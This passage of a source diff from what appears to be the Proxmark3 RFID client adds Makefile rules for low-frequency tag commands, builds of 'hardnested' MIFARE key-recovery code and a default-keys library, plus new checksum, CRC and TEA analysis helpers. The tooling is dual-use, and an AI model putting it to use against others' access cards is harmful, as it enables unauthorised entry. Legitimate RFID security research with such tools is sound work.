cmdlffdx.c \ + cmdlfguard.c \ + cmdlfhid.c \ cmdlfhitag.c \ + cmdlfio.c \ + cmdlfindala.c \ + cmdlfjablotron.c \ + cmdlfnexwatch.c \ + cmdlfnedap.c \ + cmdlfnoralsy.c \ + cmdlfpac.c \ + cmdlfparadox.c \ + cmdlfpcf7931.c \ + cmdlfpresco.c \ + cmdlfpyramid.c \ + cmdlfsecurakey.c \ + cmdlft55xx.c \ cmdlfti.c \ + cmdlfviking.c \ + cmdlfvisa2000.c \ + cmdtrace.c \ + cmdflashmem.c \ + cmdsmartcard.c \ cmdparser.c \ cmdmain.c \ - cmdlft55xx.c \ - cmdlfpcf7931.c\ - pm3_binlib.c\ - scripting.c\ - cmdscript.c\ - pm3_bitlib.c\ + pm3_binlib.c \ + scripting.c \ + cmdscript.c \ + pm3_bitlib.c \ + protocols.c \ + cmdcrc.c \ + reveng/preset.c \ + reveng/reveng.c \ + reveng/cli.c \ + reveng/bmpbit.c \ + reveng/model.c \ + reveng/poly.c \ + reveng/getopt.c \ + bucketsort.c +cpu_arch = $(shell uname -m) +ifneq ($(findstring 86, $(cpu_arch)), ) + MULTIARCHSRCS = hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c +endif +ifneq ($(findstring amd64, $(cpu_arch)), ) + MULTIARCHSRCS = hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c +endif +ifeq ($(MULTIARCHSRCS), ) + CMDSRCS += hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c +endif + +ZLIBSRCS = deflate.c adler32.c trees.c zutil.c inflate.c inffast.c inftrees.c +ZLIBFLAGS = -DZ_SOLO -DZ_PREFIX -DNO_GZIP -DZLIB_PM3_TUNED +#-DDEBUG -Dverbose=1 + +QTGUISRCS = proxgui.cpp proxguiqt.cpp proxguiqt.moc.cpp guidummy.cpp COREOBJS = $(CORESRCS:%.c=$(OBJDIR)/%.o) CMDOBJS = $(CMDSRCS:%.c=$(OBJDIR)/%.o) +ZLIBOBJS = $(ZLIBSRCS:%.c=$(OBJDIR)/%.o) +MULTIARCHOBJS = $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_NOSIMD.o) \ + $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_MMX.o) \ + $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_SSE2.o) \ + $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_AVX.o) \ + $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_AVX2.o) -RM = rm -f -BINS = proxmark3 flasher #snooper cli -CLEAN = cli cli.exe flasher flasher.exe proxmark3 proxmark3.exe snooper snooper.exe $(CMDOBJS) $(OBJDIR)/*.o *.o *.moc.cpp +SUPPORTS_AVX512 := $(shell echo | gcc -E -mavx512f - > /dev/null 2>&1 && echo "True" ) +HARD_SWITCH_NOSIMD = -mno-mmx -mno-sse2 -mno-avx -mno-avx2 +HARD_SWITCH_MMX = -mmmx -mno-sse2 -mno-avx -mno-avx2 +HARD_SWITCH_SSE2 = -mmmx -msse2 -mno-avx -mno-avx2 +HARD_SWITCH_AVX = -mmmx -msse2 -mavx -mno-avx2 +HARD_SWITCH_AVX2 = -mmmx -msse2 -mavx -mavx2 +HARD_SWITCH_AVX512 = -mmmx -msse2 -mavx -mavx2 -mavx512f +ifeq "$(SUPPORTS_AVX512)" "True" + HARD_SWITCH_NOSIMD += -mno-avx512f + HARD_SWITCH_MMX += -mno-avx512f + HARD_SWITCH_SSE2 += -mno-avx512f + HARD_SWITCH_AVX += -mno-avx512f + HARD_SWITCH_AVX2 += -mno-avx512f + MULTIARCHOBJS += $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_AVX512.o) +endif + +BINS = proxmark3 flasher fpga_compress +WINBINS = $(patsubst %, %.exe, $(BINS)) +CLEAN = $(BINS) $(WINBINS) $(COREOBJS) $(CMDOBJS) $(ZLIBOBJS) $(QTGUIOBJS) $(MULTIARCHOBJS) $(OBJDIR)/*.o *.moc.cpp ui/ui_overlays.h lualibs/usb_cmd.lua lualibs/mf_default_keys.lua + +# need to assign dependancies to build these first... all: lua_build $(BINS) all-static: LDLIBS:=-static $(LDLIBS) -all-static: snooper cli flasher +all-static: proxmark3 flasher fpga_compress + +proxmark3: LDLIBS+=$(LUALIB) $(QTLDLIBS) +proxmark3: $(OBJDIR)/proxmark3.o $(COREOBJS) $(CMDOBJS) $(QTGUIOBJS) $(MULTIARCHOBJS) $(ZLIBOBJS) lualibs/usb_cmd.lua lualibs/mf_default_keys.lua + $(LD) $(LDFLAGS) $(OBJDIR)/proxmark3.o $(COREOBJS) $(CMDOBJS) $(QTGUIOBJS) $(MULTIARCHOBJS) $(ZLIBOBJS) $(LDLIBS) -o $@ -proxmark3: LDLIBS+=$(QTLDLIBS) -proxmark3: $(OBJDIR)/proxmark3.o $(COREOBJS) $(CMDOBJS) $(QTGUI) - $(CXX) $(CXXFLAGS) $^ $(LDLIBS) -o $@ - -snooper: $(OBJDIR)/snooper.o $(COREOBJS) $(CMDOBJS) $(OBJDIR)/guidummy.o - $(CXX) $(CXXFLAGS) $^ $(LDLIBS) -o $@ - -cli: $(OBJDIR)/cli.o $(COREOBJS) $(CMDOBJS) $(OBJDIR)/guidummy.o - $(CXX) $(CXXFLAGS) $^ $(LDLIBS) -o $@ - flasher: $(OBJDIR)/flash.o $(OBJDIR)/flasher.o $(COREOBJS) - $(CXX) $(CXXFLAGS) $^ $(LDLIBS) -o $@ + $(LD) $(LDFLAGS) $^ $(LDLIBS) -o $@ -$(OBJDIR)/%.o: %.c - $(CC) $(CFLAGS) -c -o $@ $< +fpga_compress: $(OBJDIR)/fpga_compress.o $(ZLIBOBJS) + $(LD) $(LDFLAGS) $(ZLIBFLAGS) $^ $(LDLIBS) -o $@ -$(OBJDIR)/%.o: %.cpp - $(CXX) $(CXXFLAGS) -c -o $@ $< +proxgui.cpp: ui/ui_overlays.h proxguiqt.moc.cpp: proxguiqt.h $(MOC) -o$@ $^ +ui/ui_overlays.h: ui/overlays.ui + $(UIC) $^ > $@ + +lualibs/usb_cmd.lua: ../include/usb_cmd.h + awk -f usb_cmd_h2lua.awk $^ > $@ + +lualibs/mf_default_keys.lua : default_keys.dic + awk -f default_keys_dic2lua.awk $^ > $@ + clean: $(RM) $(CLEAN) cd ../liblua && make clean tarbin: $(BINS) - $(TAR) $(TARFLAGS) ../proxmark3-$(platform)-bin.tar $(BINS:%=client/%) - -# must be run as root -install_kext: Info.plist - mkdir -p /System/Library/Extensions/Proxmark3.kext/Contents - cp Info.plist /System/Library/Extensions/Proxmark3.kext/Contents - chown -R root:wheel /System/Library/Extensions/Proxmark3.kext - chmod 755 /System/Library/Extensions/Proxmark3.kext /System/Library/Extensions/Proxmark3.kext/Contents - chmod 644 /System/Library/Extensions/Proxmark3.kext/Contents/Info.plist - rm -rf /System/Library/Caches/com.apple.kext.caches - touch /System/Library/Extensions - @echo "*** You may need to reboot for the kext to take effect." + $(TAR) $(TARFLAGS) ../proxmark3-$(platform)-bin.tar $(BINS:%=client/%) $(WINBINS:%=client/%) lua_build: @echo Compiling liblua, using platform $(LUAPLATFORM) cd ../liblua && make $(LUAPLATFORM) .PHONY: all clean + +# easy printing of MAKE VARIABLES +print-%: ; @echo $* = $($*) + +$(OBJDIR)/%_NOSIMD.o : %.c $(OBJDIR)/%.d + $(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_NOSIMD) -c -o $@ $< + +$(OBJDIR)/%_MMX.o : %.c $(OBJDIR)/%.d + $(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_MMX) -c -o $@ $< + +$(OBJDIR)/%_SSE2.o : %.c $(OBJDIR)/%.d + $(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_SSE2) -c -o $@ $< + +$(OBJDIR)/%_AVX.o : %.c $(OBJDIR)/%.d + $(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX) -c -o $@ $< + +$(OBJDIR)/%_AVX2.o : %.c $(OBJDIR)/%.d + $(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX2) -c -o $@ $< + +$(OBJDIR)/%_AVX512.o : %.c $(OBJDIR)/%.d + $(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX512) -c -o $@ $< + +%.o: %.c +$(OBJDIR)/%.o : %.c $(OBJDIR)/%.d + $(CC) $(DEPFLAGS) $(CFLAGS) $(ZLIBFLAGS) -c -o $@ $< + $(POSTCOMPILE) + +%.o: %.cpp +$(OBJDIR)/%.o : %.cpp $(OBJDIR)/%.d + $(CXX) $(DEPFLAGS) $(CXXFLAGS) $(QTINCLUDES) -c -o $@ $< + $(POSTCOMPILE) + +#$(CMDOBJS) $(COREOBJS): $(notdir $(%.c)) %.d +# $(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $< +# $(POSTCOMPILE) + +#$(ZLIBOBJS): $(notdir $(%.c)) %.d +# $(CC) $(DEPFLAGS) $(CFLAGS) $(ZLIBFLAGS) -c -o $@ $< +# $(POSTCOMPILE) + +#$(QTGUIOBJS): $(notdir $(%.cpp)) %.d +# $(CXX) $(DEPFLAGS) $(CXXFLAGS) -c -o $@ $< +# $(POSTCOMPILE) + +DEPENDENCY_FILES = $(patsubst %.c, $(OBJDIR)/%.d, $(CORESRCS) $(CMDSRCS) $(ZLIBSRCS) $(MULTIARCHSRCS)) \ + $(patsubst %.cpp, $(OBJDIR)/%.d, $(QTGUISRCS)) \ + $(OBJDIR)/proxmark3.d $(OBJDIR)/flash.d $(OBJDIR)/flasher.d $(OBJDIR)/fpga_compress.d + +$(DEPENDENCY_FILES): ; +.PRECIOUS: $(DEPENDENCY_FILES) + +-include $(DEPENDENCY_FILES) + diff --git a/client/cli.c b/client/cli.c index c5c2acf46..e7f8324ca 100644 --- a/client/cli.c +++ b/client/cli.c @@ -7,9 +7,9 @@ //----------------------------------------------------------------------------- #include -#include "sleep.h" +#include "util_posix.h" #include "ui.h" -#include "proxusb.h" +//#include "proxusb.h" #include "cmdmain.h" #define HANDLE_ERROR if (error_occured) { \ @@ -37,7 +37,7 @@ int main(int argc, char **argv) return_on_error = 1; while (1) { - while (!OpenProxmark(0)) { sleep(1); } + while (!OpenProxmark()) { sleep(1); } while (1) { UsbCommand cmdbuf; CommandReceived(argv[1]); diff --git a/client/cmdanalyse.c b/client/cmdanalyse.c new file mode 100644 index 000000000..d79387d9d --- /dev/null +++ b/client/cmdanalyse.c @@ -0,0 +1,906 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2016 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Analyse bytes commands +//----------------------------------------------------------------------------- +#include "cmdanalyse.h" + +static int CmdHelp(const char *Cmd); + +int usage_analyse_lcr(void) { + PrintAndLogEx(NORMAL, "Specifying the bytes of a UID with a known LRC will find the last byte value"); + PrintAndLogEx(NORMAL, "needed to generate that LRC with a rolling XOR. All bytes should be specified in HEX."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: analyse lcr [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " bytes to calc missing XOR in a LCR"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " analyse lcr 04008064BA"); + PrintAndLogEx(NORMAL, "expected output: Target (BA) requires final LRC XOR byte value: 5A"); + return 0; +} +int usage_analyse_checksum(void) { + PrintAndLogEx(NORMAL, "The bytes will be added with eachother and than limited with the applied mask"); + PrintAndLogEx(NORMAL, "Finally compute ones' complement of the least significant bytes"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: analyse chksum [h] [v] b m "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " v supress header"); + PrintAndLogEx(NORMAL, " b bytes to calc missing XOR in a LCR"); + PrintAndLogEx(NORMAL, " m bit mask to limit the outpuyt"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " analyse chksum b 137AF00A0A0D m FF"); + PrintAndLogEx(NORMAL, "expected output: 0x61"); + return 0; +} +int usage_analyse_crc(void){ + PrintAndLogEx(NORMAL, "A stub method to test different crc implementations inside the PM3 sourcecode. Just because you figured out the poly, doesn't mean you get the desired output"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: analyse crc [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " bytes to calc crc"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " analyse crc 137AF00A0A0D"); + return 0; +} +int usage_analyse_nuid(void){ + PrintAndLogEx(NORMAL, "Generate 4byte NUID from 7byte UID"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: analyse hid [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " input bytes (14 hexsymbols)"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " analyse nuid 11223344556677"); + return 0; +} +int usage_analyse_a(void) { + PrintAndLogEx(NORMAL, "my personal garbage test command"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: analyse a [h] d "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " d bytes to send to device"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " analyse a d 137AF00A0A0D"); + return 0; +} + +static uint8_t calculateLRC( uint8_t* bytes, uint8_t len) { + uint8_t LRC = 0; + for (uint8_t i = 0; i < len; i++) + LRC ^= bytes[i]; + return LRC; +} +/* +static uint16_t matrixadd ( uint8_t* bytes, uint8_t len){ + ----------- + 0x9c | 1001 1100 + 0x97 | 1001 0111 + 0x72 | 0111 0010 + 0x5e | 0101 1110 + ----------------- + C32F 9d74 + + return 0; +} +*/ +/* +static uint16_t shiftadd ( uint8_t* bytes, uint8_t len){ + return 0; +} +*/ +static uint16_t calcSumCrumbAdd( uint8_t* bytes, uint8_t len, uint32_t mask) { + uint16_t sum = 0; + for (uint8_t i = 0; i < len; i++) { + sum += CRUMB(bytes[i], 0); + sum += CRUMB(bytes[i], 2); + sum += CRUMB(bytes[i], 4); + sum += CRUMB(bytes[i], 6); + } + sum &= mask; + return sum; +} +static uint16_t calcSumCrumbAddOnes( uint8_t* bytes, uint8_t len, uint32_t mask) { + return (~calcSumCrumbAdd(bytes, len, mask) & mask); +} +static uint16_t calcSumNibbleAdd( uint8_t* bytes, uint8_t len, uint32_t mask) { + uint16_t sum = 0; + for (uint8_t i = 0; i < len; i++) { + sum += NIBBLE_LOW(bytes[i]); + sum += NIBBLE_HIGH(bytes[i]); + } + sum &= mask; + return sum; +} +static uint16_t calcSumNibbleAddOnes( uint8_t* bytes, uint8_t len, uint32_t mask){ + return (~calcSumNibbleAdd(bytes, len, mask) & mask); +} +static uint16_t calcSumCrumbXor( uint8_t* bytes, uint8_t len, uint32_t mask) { + uint16_t sum = 0; + for (uint8_t i = 0; i < len; i++) { + sum ^= CRUMB(bytes[i], 0); + sum ^= CRUMB(bytes[i], 2); + sum ^= CRUMB(bytes[i], 4); + sum ^= CRUMB(bytes[i], 6); + } + sum &= mask; + return sum; +} +static uint16_t calcSumNibbleXor( uint8_t* bytes, uint8_t len, uint32_t mask) { + uint16_t sum = 0; + for (uint8_t i = 0; i < len; i++) { + sum ^= NIBBLE_LOW(bytes[i]); + sum ^= NIBBLE_HIGH(bytes[i]); + } + sum &= mask; + return sum; +} +static uint16_t calcSumByteXor( uint8_t* bytes, uint8_t len, uint32_t mask) { + uint16_t sum = 0; + for (uint8_t i = 0; i < len; i++) { + sum ^= bytes[i]; + } + sum &= mask; + return sum; +} +static uint16_t calcSumByteAdd( uint8_t* bytes, uint8_t len, uint32_t mask) { + uint16_t sum = 0; + for (uint8_t i = 0; i < len; i++) { + sum += bytes[i]; + } + sum &= mask; + return sum; +} +// Ones complement +static uint16_t calcSumByteAddOnes( uint8_t* bytes, uint8_t len, uint32_t mask) { + return (~calcSumByteAdd(bytes, len, mask) & mask); +} + +static uint16_t calcSumByteSub( uint8_t* bytes, uint8_t len, uint32_t mask) { + uint8_t sum = 0; + for (uint8_t i = 0; i < len; i++) { + sum -= bytes[i]; + } + sum &= mask; + return sum; +} +static uint16_t calcSumByteSubOnes( uint8_t* bytes, uint8_t len, uint32_t mask){ + return (~calcSumByteSub(bytes, len, mask) & mask); +} +static uint16_t calcSumNibbleSub( uint8_t* bytes, uint8_t len, uint32_t mask) { + uint8_t sum = 0; + for (uint8_t i = 0; i < len; i++) { + sum -= NIBBLE_LOW(bytes[i]); + sum -= NIBBLE_HIGH(bytes[i]); + } + sum &= mask; + return sum; +} +static uint16_t calcSumNibbleSubOnes( uint8_t* bytes, uint8_t len, uint32_t mask) { + return (~calcSumNibbleSub(bytes, len, mask) & mask); +} + +// BSD shift checksum 8bit version +static uint16_t calcBSDchecksum8( uint8_t* bytes, uint8_t len, uint32_t mask){ + uint16_t sum = 0; + for(uint8_t i = 0; i < len; i++){ + sum = ((sum & 0xFF) >> 1) | ((sum & 0x1) << 7); // rotate accumulator + sum += bytes[i]; // add next byte + sum &= 0xFF; // + } + sum &= mask; + return sum; +} +// BSD shift checksum 4bit version +static uint16_t calcBSDchecksum4( uint8_t* bytes, uint8_t len, uint32_t mask){ + uint16_t sum = 0; + for(uint8_t i = 0; i < len; i++){ + sum = ((sum & 0xF) >> 1) | ((sum & 0x1) << 3); // rotate accumulator + sum += NIBBLE_HIGH(bytes[i]); // add high nibble + sum &= 0xF; // + sum = ((sum & 0xF) >> 1) | ((sum & 0x1) << 3); // rotate accumulator + sum += NIBBLE_LOW(bytes[i]); // add low nibble + sum &= 0xF; // + } + sum &= mask; + return sum; +} + +// measuring LFSR maximum length +int CmdAnalyseLfsr(const char *Cmd){ + + uint16_t start_state = 0; /* Any nonzero start state will work. */ + uint16_t lfsr = start_state; + //uint32_t period = 0; + + uint8_t iv = param_get8ex(Cmd, 0, 0, 16); + uint8_t find = param_get8ex(Cmd, 1, 0, 16); + + PrintAndLogEx(NORMAL, "LEGIC LFSR IV 0x%02X: \n", iv); + PrintAndLogEx(NORMAL, " bit# | lfsr | ^0x40 | 0x%02X ^ lfsr \n",find); + + for (uint8_t i = 0x01; i < 0x30; i += 1) { + //period = 0; + legic_prng_init(iv); + legic_prng_forward(i); + lfsr = legic_prng_get_bits(12); + + PrintAndLogEx(NORMAL, " %02X | %03X | %03X | %03X \n",i, lfsr, 0x40 ^ lfsr, find ^ lfsr); + } + return 0; +} +int CmdAnalyseLCR(const char *Cmd) { + uint8_t data[50]; + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) == 0|| cmdp == 'h' || cmdp == 'H') return usage_analyse_lcr(); + + int len = 0; + param_gethex_ex(Cmd, 0, data, &len); + if ( len%2 ) return usage_analyse_lcr(); + len >>= 1; + uint8_t finalXor = calculateLRC(data, len); + PrintAndLogEx(NORMAL, "Target [%02X] requires final LRC XOR byte value: 0x%02X",data[len-1] ,finalXor); + return 0; +} +int CmdAnalyseCRC(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) == 0 || cmdp == 'h' || cmdp == 'H') return usage_analyse_crc(); + + int len = strlen(Cmd); + if ( len & 1 ) return usage_analyse_crc(); + + // add 1 for null terminator. + uint8_t *data = calloc(len+1, sizeof(uint8_t)); + if ( !data ) return 1; + + if ( param_gethex(Cmd, 0, data, len)) { + free(data); + return usage_analyse_crc(); + } + len >>= 1; + + PrintAndLogEx(NORMAL, "\nTests with (%d) | %s",len, sprint_hex(data, len)); + + // 51 f5 7a d6 + uint8_t uid[] = {0x51, 0xf5, 0x7a, 0xd6}; //12 34 56 + init_table(CRC_LEGIC); + uint8_t legic8 = CRC8Legic(uid, sizeof(uid)); + PrintAndLogEx(NORMAL, "Legic 16 | %X (EF6F expected) [legic8 = %02x]", crc16_legic(data, len, legic8), legic8); + init_table(CRC_FELICA); + PrintAndLogEx(NORMAL, "FeliCa | %X ", crc16_xmodem(data, len)); + + PrintAndLogEx(NORMAL, "\nTests of reflection. Current methods in source code"); + PrintAndLogEx(NORMAL, " reflect(0x3e23L,3) is %04X == 0x3e26", reflect(0x3e23L,3) ); + PrintAndLogEx(NORMAL, " reflect8(0x80) is %02X == 0x01", reflect8(0x80)); + PrintAndLogEx(NORMAL, " reflect16(0x8000) is %04X == 0x0001", reflect16(0xc6c6)); + + uint8_t b1, b2; + // ISO14443 crc B + compute_crc(CRC_14443_B, data, len, &b1, &b2); + uint16_t crcBB_1 = b1 << 8 | b2; + uint16_t bbb = crc(CRC_14443_B, data, len); + PrintAndLogEx(NORMAL, "ISO14443 crc B | %04x == %04x \n", crcBB_1, bbb ); + + + // Test of CRC16, '123456789' string. + // + + PrintAndLogEx(NORMAL, "\n\nStandard test with 31 32 33 34 35 36 37 38 39 '123456789'\n\n"); + uint8_t dataStr[] = { 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39 }; + legic8 = CRC8Legic(dataStr, sizeof(dataStr)); + + //these below has been tested OK. + PrintAndLogEx(NORMAL, "Confirmed CRC Implementations"); + PrintAndLogEx(NORMAL, "-------------------------------------\n"); + PrintAndLogEx(NORMAL, "CRC 8 based\n\n"); + PrintAndLogEx(NORMAL, "LEGIC: CRC8 : %X (C6 expected)", legic8); + PrintAndLogEx(NORMAL, "MAXIM: CRC8 : %X (A1 expected)", CRC8Maxim(dataStr, sizeof(dataStr))); + PrintAndLogEx(NORMAL, "-------------------------------------\n"); + PrintAndLogEx(NORMAL, "CRC16 based\n\n"); + + // input from commandline + PrintAndLogEx(NORMAL, "CCITT | %X (29B1 expected)", crc(CRC_CCITT, dataStr, sizeof(dataStr))); + + uint8_t poll[] = {0xb2,0x4d,0x12,0x01,0x01,0x2e,0x3d,0x17,0x26,0x47,0x80, 0x95,0x00,0xf1,0x00,0x00,0x00,0x01,0x43,0x00,0xb3,0x7f}; + PrintAndLogEx(NORMAL, "FeliCa | %04X (B37F expected)", crc(CRC_FELICA, poll+2, sizeof(poll)-4)); + PrintAndLogEx(NORMAL, "FeliCa | %04X (0000 expected)", crc(CRC_FELICA, poll+2, sizeof(poll)-2)); + + uint8_t sel_corr[] = { 0x40, 0xe1, 0xe1, 0xff, 0xfe, 0x5f, 0x02, 0x3c, 0x43, 0x01}; + PrintAndLogEx(NORMAL, "iCLASS | %04x (0143 expected)", crc(CRC_ICLASS, sel_corr, sizeof(sel_corr)-2)); + PrintAndLogEx(NORMAL, "---------------------------------------------------------------\n\n\n"); + + // ISO14443 crc A + compute_crc(CRC_14443_A, dataStr, sizeof(dataStr), &b1, &b2); + uint16_t crcAA = b1 << 8 | b2; + PrintAndLogEx(NORMAL, "ISO14443 crc A | %04x or %04x (BF05 expected)\n", crcAA, crc(CRC_14443_A, dataStr, sizeof(dataStr)) ); + + // ISO14443 crc B + compute_crc(CRC_14443_B, dataStr, sizeof(dataStr), &b1, &b2); + uint16_t crcBB = b1 << 8 | b2; + PrintAndLogEx(NORMAL, "ISO14443 crc B | %04x or %04x (906E expected)\n", crcBB, crc(CRC_14443_B, dataStr, sizeof(dataStr)) ); + + // ISO15693 crc (x.25) + compute_crc(CRC_15693, dataStr, sizeof(dataStr), &b1, &b2); + uint16_t crcCC = b1 << 8 | b2; + PrintAndLogEx(NORMAL, "ISO15693 crc X25| %04x or %04x (906E expected)\n", crcCC, crc(CRC_15693, dataStr, sizeof(dataStr)) ); + + // ICLASS + compute_crc(CRC_ICLASS, dataStr, sizeof(dataStr), &b1, &b2); + uint16_t crcDD = b1 << 8 | b2; + PrintAndLogEx(NORMAL, "ICLASS crc | %04x or %04x\n", crcDD, crc(CRC_ICLASS, dataStr, sizeof(dataStr)) ); + + // FeliCa + compute_crc(CRC_FELICA, dataStr, sizeof(dataStr), &b1, &b2); + uint16_t crcEE = b1 << 8 | b2; + PrintAndLogEx(NORMAL, "FeliCa | %04x or %04x (31C3 expected)\n", crcEE, crc(CRC_FELICA, dataStr, sizeof(dataStr))); + + free(data); + return 0; +} +int CmdAnalyseCHKSUM(const char *Cmd){ + + uint8_t data[50]; + uint8_t cmdp = 0; + uint32_t mask = 0xFFFF; + bool errors = false; + bool useHeader = false; + int len = 0; + memset(data, 0x0, sizeof(data)); + + while(param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch(param_getchar(Cmd, cmdp)) { + case 'b': + case 'B': + param_gethex_ex(Cmd, cmdp+1, data, &len); + if ( len%2 ) errors = true; + len >>= 1; + cmdp += 2; + break; + case 'm': + case 'M': + mask = param_get32ex(Cmd, cmdp+1, 0, 16); + cmdp += 2; + break; + case 'v': + case 'V': + useHeader = true; + cmdp++; + break; + case 'h': + case 'H': + return usage_analyse_checksum(); + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + //Validations + if (errors || cmdp == 0 ) return usage_analyse_checksum(); + + if (useHeader) { + PrintAndLogEx(NORMAL, " add | sub | add 1's compl | sub 1's compl | xor"); + PrintAndLogEx(NORMAL, "byte nibble crumb | byte nibble | byte nibble cumb | byte nibble | byte nibble cumb | BSD |"); + PrintAndLogEx(NORMAL, "------------------+-------------+------------------+-----------------+--------------------"); + } + PrintAndLogEx(NORMAL, "0x%X 0x%X 0x%X | 0x%X 0x%X | 0x%X 0x%X 0x%X | 0x%X 0x%X | 0x%X 0x%X 0x%X | 0x%X 0x%X |\n", + calcSumByteAdd(data, len, mask) + , calcSumNibbleAdd(data, len, mask) + , calcSumCrumbAdd(data, len, mask) + , calcSumByteSub(data, len, mask) + , calcSumNibbleSub(data, len, mask) + , calcSumByteAddOnes(data, len, mask) + , calcSumNibbleAddOnes(data, len, mask) + , calcSumCrumbAddOnes(data, len, mask) + , calcSumByteSubOnes(data, len, mask) + , calcSumNibbleSubOnes(data, len, mask) + , calcSumByteXor(data, len, mask) + , calcSumNibbleXor(data, len, mask) + , calcSumCrumbXor(data, len, mask) + , calcBSDchecksum8(data, len, mask) + , calcBSDchecksum4(data, len, mask) + ); + return 0; +} + +int CmdAnalyseDates(const char *Cmd){ + // look for datestamps in a given array of bytes + PrintAndLogEx(NORMAL, "To be implemented. Feel free to contribute!"); + return 0; +} +int CmdAnalyseTEASelfTest(const char *Cmd){ + + uint8_t v[8], v_le[8]; + memset(v, 0x00, sizeof(v)); + memset(v_le, 0x00, sizeof(v_le)); + uint8_t* v_ptr = v_le; + + uint8_t cmdlen = strlen(Cmd); + cmdlen = ( sizeof(v)<<2 < cmdlen ) ? sizeof(v)<<2 : cmdlen; + + if ( param_gethex(Cmd, 0, v, cmdlen) > 0 ){ + PrintAndLogEx(WARNING, "Can't read hex chars, uneven? :: %u", cmdlen); + return 1; + } + + SwapEndian64ex(v , 8, 4, v_ptr); + + // ENCRYPTION KEY: + uint8_t key[16] = {0x55,0xFE,0xF6,0x30,0x62,0xBF,0x0B,0xC1,0xC9,0xB3,0x7C,0x34,0x97,0x3E,0x29,0xFB }; + uint8_t keyle[16]; + uint8_t* key_ptr = keyle; + SwapEndian64ex(key , sizeof(key), 4, key_ptr); + + PrintAndLogEx(NORMAL, "TEST LE enc| %s", sprint_hex(v_ptr, 8)); + + tea_decrypt(v_ptr, key_ptr); + PrintAndLogEx(NORMAL, "TEST LE dec | %s", sprint_hex_ascii(v_ptr, 8)); + + tea_encrypt(v_ptr, key_ptr); + tea_encrypt(v_ptr, key_ptr); + PrintAndLogEx(NORMAL, "TEST enc2 | %s", sprint_hex_ascii(v_ptr, 8)); + + return 0; +} + +char* pb(uint32_t b) { + static char buf1[33] = {0}; + static char buf2[33] = {0}; + static char *s; + + if (s != buf1) + s = buf1; + else + s = buf2; + + memset(s, 0, sizeof(buf1)); + + uint32_t mask = 0x80000000; + for (uint8_t i=0; i<32;i++) { + s[i] = (mask & b)?'1':'0'; + mask >>= 1; + } + return s; +} + +int CmdAnalyseA(const char *Cmd){ + + int hexlen = 0; + uint8_t cmdp = 0; + bool errors = false; + uint8_t data[USB_CMD_DATA_SIZE] = {0x00}; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'd': + param_gethex_ex(Cmd, cmdp+1, data, &hexlen); + hexlen >>= 1; + if ( hexlen != sizeof(data) ) { + PrintAndLogEx(WARNING, "Read %d bytes of %u", hexlen, sizeof(data) ); + } + cmdp += 2; + break; + case 'h': + return usage_analyse_a(); + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + //Validations + if (errors || cmdp == 0 ) return usage_analyse_a(); + + + UsbCommand c = {CMD_FPC_SEND, {0, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) { + return 1; + } + PrintAndLogEx(NORMAL, "got ack"); + return 0; + + PrintAndLogEx(NORMAL, "-- " _BLUE_(its my message) "\n"); + PrintAndLogEx(NORMAL, "-- " _RED_(its my message) "\n"); + 